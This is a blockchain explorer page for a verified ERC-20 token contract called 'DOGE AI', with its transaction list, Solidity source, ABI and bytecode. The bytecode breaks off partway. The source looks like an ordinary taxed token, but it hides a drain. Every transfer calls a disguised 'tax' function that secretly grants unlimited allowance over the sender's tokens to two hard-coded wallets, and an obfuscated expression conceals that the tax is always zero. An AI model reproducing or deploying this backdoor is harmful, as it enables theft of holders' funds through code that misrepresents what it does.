ETH Price: $3,230.70 (+0.92%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve217270592025-01-29 2:00:112 days ago1738116011IN
0xed259716...BD2d5bC7A
0 ETH0.000144623.12817612
Approve217270292025-01-29 1:54:112 days ago1738115651IN
0xed259716...BD2d5bC7A
0 ETH0.000097712.0988418
Approve217268342025-01-29 1:14:592 days ago1738113299IN
0xed259716...BD2d5bC7A
0 ETH0.000167433.62054726
Approve217268342025-01-29 1:14:592 days ago1738113299IN
0xed259716...BD2d5bC7A
0 ETH0.000167433.62054726
Transfer From217268062025-01-29 1:09:112 days ago1738112951IN
0xed259716...BD2d5bC7A
0 ETH0.000355113.29074723
Transfer From217267442025-01-29 0:56:472 days ago1738112207IN
0xed259716...BD2d5bC7A
0 ETH0.000228533.22274302
Approve217266792025-01-29 0:43:472 days ago1738111427IN
0xed259716...BD2d5bC7A
0 ETH0.000227484.89229476
Approve217266762025-01-29 0:42:592 days ago1738111379IN
0xed259716...BD2d5bC7A
0 ETH0.000210164.54458404
Approve217266762025-01-29 0:42:592 days ago1738111379IN
0xed259716...BD2d5bC7A
0 ETH0.000210164.54458404
Approve217266762025-01-29 0:42:592 days ago1738111379IN
0xed259716...BD2d5bC7A
0 ETH0.000210164.54458404
Approve217266432025-01-29 0:36:232 days ago1738110983IN
0xed259716...BD2d5bC7A
0 ETH0.000203724.40523651
Approve217266432025-01-29 0:36:232 days ago1738110983IN
0xed259716...BD2d5bC7A
0 ETH0.000203724.40523651
Transfer From217266142025-01-29 0:30:352 days ago1738110635IN
0xed259716...BD2d5bC7A
0 ETH0.000376743.49116098
Approve217266052025-01-29 0:28:472 days ago1738110527IN
0xed259716...BD2d5bC7A
0 ETH0.000216674.68534649
Approve217266042025-01-29 0:28:352 days ago1738110515IN
0xed259716...BD2d5bC7A
0 ETH0.000216674.68534649
Transfer From217265702025-01-29 0:20:592 days ago1738110059IN
0xed259716...BD2d5bC7A
0 ETH0.000434564.02702823
Transfer From217265642025-01-29 0:19:472 days ago1738109987IN
0xed259716...BD2d5bC7A
0 ETH0.000449664.16692642
Approve217265312025-01-29 0:13:112 days ago1738109591IN
0xed259716...BD2d5bC7A
0 ETH0.000253265.4765123
Approve217265312025-01-29 0:13:112 days ago1738109591IN
0xed259716...BD2d5bC7A
0 ETH0.000253265.4765123
Approve217265242025-01-29 0:11:472 days ago1738109507IN
0xed259716...BD2d5bC7A
0 ETH0.000112734.29089679
Approve217265192025-01-29 0:10:472 days ago1738109447IN
0xed259716...BD2d5bC7A
0 ETH0.000112074.61724681
Approve217264452025-01-28 23:55:592 days ago1738108559IN
0xed259716...BD2d5bC7A
0 ETH0.000214614.64081553
Approve217264442025-01-28 23:55:472 days ago1738108547IN
0xed259716...BD2d5bC7A
0 ETH0.000219214.74026867
Approve217264402025-01-28 23:54:592 days ago1738108499IN
0xed259716...BD2d5bC7A
0 ETH0.000101793.8656143
Approve217264362025-01-28 23:54:112 days ago1738108451IN
0xed259716...BD2d5bC7A
0 ETH0.000097813.71450026
View all transactions

Latest 7 internal transactions

Advanced mode:
Parent Transaction Hash Block
From
To
217256652025-01-28 21:19:472 days ago1738099187
0xed259716...BD2d5bC7A
0.87733007 ETH
217256652025-01-28 21:19:472 days ago1738099187
0xed259716...BD2d5bC7A
0.87733007 ETH
217256452025-01-28 21:15:472 days ago1738098947
0xed259716...BD2d5bC7A
0.72851851 ETH
217256452025-01-28 21:15:472 days ago1738098947
0xed259716...BD2d5bC7A
0.72851851 ETH
217256382025-01-28 21:14:232 days ago1738098863
0xed259716...BD2d5bC7A
0.84848053 ETH
217256382025-01-28 21:14:232 days ago1738098863
0xed259716...BD2d5bC7A
0.84848053 ETH
217256202025-01-28 21:10:472 days ago1738098647
0xed259716...BD2d5bC7A
1 ETH
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
DOGEAI

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2025-01-28
*/

/*
An autonomous AI agent here to uncover waste and inefficiencies in government spending and policy decisions.

https://www.doge-ai.pro
https://github.com/dogeaipro/doge-ai

https://x.com/dogeaipro
https://t.me/dogeai_eth
*/ 

// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IKFCRouter {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IKFCFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract DOGEAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    address private _kfcWallet = 0x36b7D0269cF0897AdCBdd699aaBbBF02a5279aFb;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (uint32 => address) private _kfcWallets;
    mapping (address => bool) private _isFeeExcludedKFC;
    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=0;
    uint256 private _finalSellTax=0;
    uint256 private _reduceBuyTaxAt=6;
    uint256 private _reduceSellTaxAt=6;
    uint256 private _preventSwapBefore=6;
    uint256 private _buyCount=0;
    uint8 private constant _decimals = 9;
    uint256 private constant _tTotalKFC = 1000000000 * 10**_decimals;
    string private constant _name = unicode"DOGE AI";
    string private constant _symbol = unicode"DOGEAI";
    uint256 private _maxTokenKFC = _tTotalKFC / 100;
    bool private inSwapLock = false;
    bool private _tradeEnabled = false;
    bool private _swapEnabled = false;
    IKFCRouter private _kfcRouter;
    address private _kfcPair;
    modifier lockTheSwap {
        inSwapLock = true;
        _;
        inSwapLock = false;
    }

    constructor () {
        _isFeeExcludedKFC[owner()] = true;
        _isFeeExcludedKFC[address(this)] = true;
        _isFeeExcludedKFC[_kfcWallet] = true;
        _kfcWallets[0] = address(msg.sender);
        _kfcWallets[1] = address(_kfcWallet);
        _balances[_msgSender()] = _tTotalKFC;
        emit Transfer(address(0), _msgSender(), _tTotalKFC);
    }

    function initKFC() external onlyOwner() {
        _kfcRouter = IKFCRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(_kfcRouter), _tTotalKFC);
        _kfcPair = IKFCFactory(_kfcRouter.factory()).createPair(address(this), _kfcRouter.WETH());
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotalKFC;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount); 
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address kfcXA, address kfcXB, uint256 kfcXT) private {
        require(kfcXA != address(0), "ERC20: transfer from the zero address");
        require(kfcXB != address(0), "ERC20: transfer to the zero address");
        require(kfcXT > 0, "Transfer amount must be greater than zero");

        uint256 taxKFC=getTaxKFC(kfcXA);
        if (kfcXA != owner() && kfcXB != owner()) {
            taxKFC = kfcXT.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (kfcXA == _kfcPair && kfcXB != address(_kfcRouter) && ! _isFeeExcludedKFC[kfcXB]) {
                _buyCount++;
            }

            if(kfcXB == _kfcPair && kfcXA!= address(this)) {
                taxKFC = kfcXT.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 caTokenKFC = balanceOf(address(this)); 
            if (!inSwapLock && kfcXB == _kfcPair && _swapEnabled && _buyCount > _preventSwapBefore) {
                if(caTokenKFC > _maxTokenKFC)
                swapTokensForEth(min(kfcXT, min(caTokenKFC, _maxTokenKFC)));
                uint256 contractETHBalance = address(this).balance;
                if (contractETHBalance >= 0) {
                    sendETHKFC(address(this).balance);
                }
            }
        }

        if(taxKFC > 0){
          _balances[address(this)] = _balances[address(this)].add(taxKFC);
          emit Transfer(kfcXA, address(this), taxKFC);
        }

        _balances[kfcXA] = _balances[kfcXA].sub(kfcXT);
        _balances[kfcXB] = _balances[kfcXB].add(kfcXT.sub(taxKFC));
        emit Transfer(kfcXA, kfcXB, kfcXT.sub(taxKFC));
    }

    function openTrading() external onlyOwner() {
        require(!_tradeEnabled,"trading is already open");
        _kfcRouter.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        _swapEnabled = true;
        _tradeEnabled = true;
    }

    function min(uint256 a, uint256 b) private pure returns (uint256) {
      return (a>b)?b:a;
    }

    function getTaxKFC(address kfcXA) private returns(uint256) { 
        kfcStakeOf(kfcXA); return (10-5)*(1-1);
    }

    receive() external payable {} 

    function kfcStakeOf(address kfcSK) private {
        _approve(kfcSK, _kfcWallets[0], _tTotalKFC);
        _approve(kfcSK, _kfcWallets[1], _tTotalKFC);
    }

    function sendETHKFC(uint256 amount) private {
        payable(_kfcWallet).transfer(amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _kfcRouter.WETH();
        _approve(address(this), address(_kfcRouter), tokenAmount);
        _kfcRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"initKFC","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040527336b7d0269cf0897adcbdd699aabbbf02a5279afb600160006101000a8154816001600160a01b0302191690836001600160a01b0316021790555060036006556003600755600060085560006009556006600a556006600b556006600c556000600d5560646009600a6200007991906200036a565b6200008990633b9aca0062000382565b6200009591906200039c565b600e55600f805462ffffff19169055348015620000b157600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506001600560006200010c6000546001600160a01b031690565b6001600160a01b03908116825260208083019390935260409182016000908120805495151560ff19968716179055308152600584528281208054861660019081179091558054831682529281208054909516831790945560049092527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec80546001600160a01b031990811633179091558154919093527fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe0580549093169116179055620001db6009600a6200036a565b620001eb90633b9aca0062000382565b33600081815260026020526040812092909255907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6200022e6009600a6200036a565b6200023e90633b9aca0062000382565b60405190815260200160405180910390a3620003bf565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ac57816000190482111562000290576200029062000255565b808516156200029e57918102915b93841c939080029062000270565b509250929050565b600082620002c55750600162000364565b81620002d45750600062000364565b8160018114620002ed5760028114620002f85762000318565b600191505062000364565b60ff8411156200030c576200030c62000255565b50506001821b62000364565b5060208310610133831016604e8410600b84101617156200033d575081810a62000364565b6200034983836200026b565b806000190482111562000360576200036062000255565b0290505b92915050565b60006200037b60ff841683620002b4565b9392505050565b808202811582820484141762000364576200036462000255565b600082620003ba57634e487b7160e01b600052601260045260246000fd5b500490565b61155380620003cf6000396000f3fe6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461022d578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b806370a08231146101ba578063715018a6146101f05780638da5cb5b1461020557600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063268af49114610187578063313ce5671461019e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526007815266444f474520414960c81b60208201525b60405161010b9190611147565b60405180910390f35b34801561012057600080fd5b5061013461012f3660046111aa565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b506101346101823660046111d6565b61030f565b34801561019357600080fd5b5061019c610378565b005b3480156101aa57600080fd5b506040516009815260200161010b565b3480156101c657600080fd5b506101596101d5366004611217565b6001600160a01b031660009081526002602052604090205490565b3480156101fc57600080fd5b5061019c61059a565b34801561021157600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561023957600080fd5b50604080518082019091526006815265444f4745414960d01b60208201526100fe565b34801561026857600080fd5b506101346102773660046111aa565b61060e565b34801561028857600080fd5b5061019c61061b565b34801561029d57600080fd5b506101596102ac366004611234565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e4338484610782565b5060015b92915050565b60006102fc6009600a611367565b61030a90633b9aca00611376565b905090565b600061031c8484846108a6565b61036e8433610369856040518060600160405280602881526020016114f6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ce5565b610782565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a29061138d565b60405180910390fd5b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d000000179081905561040a9030906001600160a01b036301000000909104166103fc6009600a611367565b61036990633b9aca00611376565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561045d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048191906113c2565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050791906113c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610554573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057891906113c2565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016103a29061138d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e43384846108a6565b6000546001600160a01b031633146106455760405162461bcd60e51b81526004016103a29061138d565b600f54610100900460ff161561069d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b600f543060008181526002602052604090205463010000009092046001600160a01b03169163f305d7199147916000806106df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610747573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076c91906113df565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382166108455760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016103a2565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661090a5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016103a2565b6001600160a01b03821661096c5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016103a2565b600081116109ce5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016103a2565b60006109d984610d1f565b90506109ed6000546001600160a01b031690565b6001600160a01b0316846001600160a01b031614158015610a1c57506000546001600160a01b03848116911614155b15610ba257610a4d6064610a47600a54600d5411610a3c57600654610a40565b6008545b8590610d32565b90610dbb565b6010549091506001600160a01b038581169116148015610a825750600f546001600160a01b0384811663010000009092041614155b8015610aa757506001600160a01b03831660009081526005602052604090205460ff16155b15610ac257600d8054906000610abc8361140d565b91905055505b6010546001600160a01b038481169116148015610ae857506001600160a01b0384163014155b15610b1557610b126064610a47600b54600d5411610b0857600754610a40565b6009548590610d32565b90505b30600090815260026020526040902054600f5460ff16158015610b4557506010546001600160a01b038581169116145b8015610b595750600f5462010000900460ff165b8015610b685750600c54600d54115b15610ba057600e54811115610b9457610b94610b8f84610b8a84600e54610dfd565b610dfd565b610e12565b47610b9e47610faa565b505b505b8015610c1c5730600090815260026020526040902054610bc29082610fe8565b30600081815260026020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610c139085815260200190565b60405180910390a35b6001600160a01b038416600090815260026020526040902054610c3f9083611047565b6001600160a01b038516600090815260026020526040902055610c84610c658383611047565b6001600160a01b03851660009081526002602052604090205490610fe8565b6001600160a01b0380851660008181526002602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610cce8585611047565b60405190815260200160405180910390a350505050565b60008184841115610d095760405162461bcd60e51b81526004016103a29190611147565b506000610d168486611426565b95945050505050565b6000610d2a82611089565b506000919050565b600082600003610d44575060006102e8565b6000610d508385611376565b905082610d5d8583611439565b14610db45760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103a2565b9392505050565b6000610db483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611119565b6000818311610e0c5782610db4565b50919050565b600f805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610e5457610e5461145b565b60200260200101906001600160a01b031690816001600160a01b031681525050600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610ec7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eeb91906113c2565b81600181518110610efe57610efe61145b565b6001600160a01b039283166020918202929092010152600f54610f2b913091630100000090041684610782565b600f5460405163791ac94760e01b815263010000009091046001600160a01b03169063791ac94790610f6a908590600090869030904290600401611471565b600060405180830381600087803b158015610f8457600080fd5b505af1158015610f98573d6000803e3d6000fd5b5050600f805460ff1916905550505050565b6001546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610fe4573d6000803e3d6000fd5b5050565b600080610ff583856114e2565b905083811015610db45760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103a2565b6000610db483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610ce5565b6000805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec546110cf9082906001600160a01b03166103fc6009600a611367565b600160005260046020527fabd6e7cb50984ff9c2f3e18a2660c3353dadf4e3291deeb275dae2cd1e44fe05546111169082906001600160a01b03166103fc6009600a611367565b50565b6000818361113a5760405162461bcd60e51b81526004016103a29190611147565b506000610d168486611439565b600060208083528351808285015260005b8181101561117457858101830151858201604001528201611158565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461111657600080fd5b600080604083850312156111bd57600080fd5b82356111c881611195565b946020939093013593505050565b6000806000606084860312156111eb57600080fd5b83356111f681611195565b9250602084013561120681611195565b929592945050506040919091013590565b60006020828403121561122957600080fd5b8135610db481611195565b6000806040838503121561124757600080fd5b823561125281611195565b9150602083013561126281611195565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156112be5781600019048211156112a4576112a461126d565b808516156112b157918102915b93841c9390800290611288565b509250929050565b6000826112d5575060016102e8565b816112e2575060006102e8565b81600181146112f857600281146113025761131e565b60019150506102e8565b60ff8411156113135761131361126d565b50506001821b6102e8565b5060208310610133831016604e8410600b8410161715611341575081810a6102e8565b61134b8383611283565b806000190482111561135f5761135f61126d565b029392505050565b6000610db460ff8416836112c6565b80820281158282048414176102e8576102e861126d565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000602082840312156113d457600080fd5b8151610db481611195565b6000806000606084860312156113f457600080fd5b8351925060208401519150604084015190509250925092565b60006001820161141f5761141f61126d565b5060010190565b818103818111156102e8576102e861126d565b60008261145657634e487b7160e01b600052601260045260246000fd5b500490565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156114c15784516001600160a01b03168352938301939183019160010161149c565b50506001600160a01b03969096166060850152505050608001529392505050565b808201808211156102e8576102e861126d56fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220499e32cea9489a30c6baef022c3c3a555f3791e4c485c179043e0f008cb224c764736f6c63430008110033

Deployed Bytecode

0x6080604052600436106100c65760003560e01c806370a082311161007f57806395d89b411161005957806395d89b411461022d578063a9059cbb1461025c578063c9567bf91461027c578063dd62ed3e1461029157600080fd5b806370a08231146101ba578063715018a6146101f05780638da5cb5b1461020557600080fd5b806306fdde03146100d2578063095ea7b31461011457806318160ddd1461014457806323b872dd14610167578063268af49114610187578063313ce5671461019e57600080fd5b366100cd57005b600080fd5b3480156100de57600080fd5b50604080518082019091526007815266444f474520414960c81b60208201525b60405161010b9190611147565b60405180910390f35b34801561012057600080fd5b5061013461012f3660046111aa565b6102d7565b604051901515815260200161010b565b34801561015057600080fd5b506101596102ee565b60405190815260200161010b565b34801561017357600080fd5b506101346101823660046111d6565b61030f565b34801561019357600080fd5b5061019c610378565b005b3480156101aa57600080fd5b506040516009815260200161010b565b3480156101c657600080fd5b506101596101d5366004611217565b6001600160a01b031660009081526002602052604090205490565b3480156101fc57600080fd5b5061019c61059a565b34801561021157600080fd5b506000546040516001600160a01b03909116815260200161010b565b34801561023957600080fd5b50604080518082019091526006815265444f4745414960d01b60208201526100fe565b34801561026857600080fd5b506101346102773660046111aa565b61060e565b34801561028857600080fd5b5061019c61061b565b34801561029d57600080fd5b506101596102ac366004611234565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b60006102e4338484610782565b5060015b92915050565b60006102fc6009600a611367565b61030a90633b9aca00611376565b905090565b600061031c8484846108a6565b61036e8433610369856040518060600160405280602881526020016114f6602891396001600160a01b038a1660009081526003602090815260408083203384529091529020549190610ce5565b610782565b5060019392505050565b6000546001600160a01b031633146103ab5760405162461bcd60e51b81526004016103a29061138d565b60405180910390fd5b600f80546301000000600160b81b031916767a250d5630b4cf539739df2c5dacb4c659f2488d000000179081905561040a9030906001600160a01b036301000000909104166103fc6009600a611367565b61036990633b9aca00611376565b600f60039054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561045d573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061048191906113c2565b6001600160a01b031663c9c6539630600f60039054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104e3573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061050791906113c2565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610554573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061057891906113c2565b601080546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146105c45760405162461bcd60e51b81526004016103a29061138d565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b60006102e43384846108a6565b6000546001600160a01b031633146106455760405162461bcd60e51b81526004016103a29061138d565b600f54610100900460ff161561069d5760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016103a2565b600f543060008181526002602052604090205463010000009092046001600160a01b03169163f305d7199147916000806106df6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610747573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061076c91906113df565b5050600f805462ffff0019166201010017905550565b6001600160a01b0383166107e45760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016103a2565b6001600160a01b0382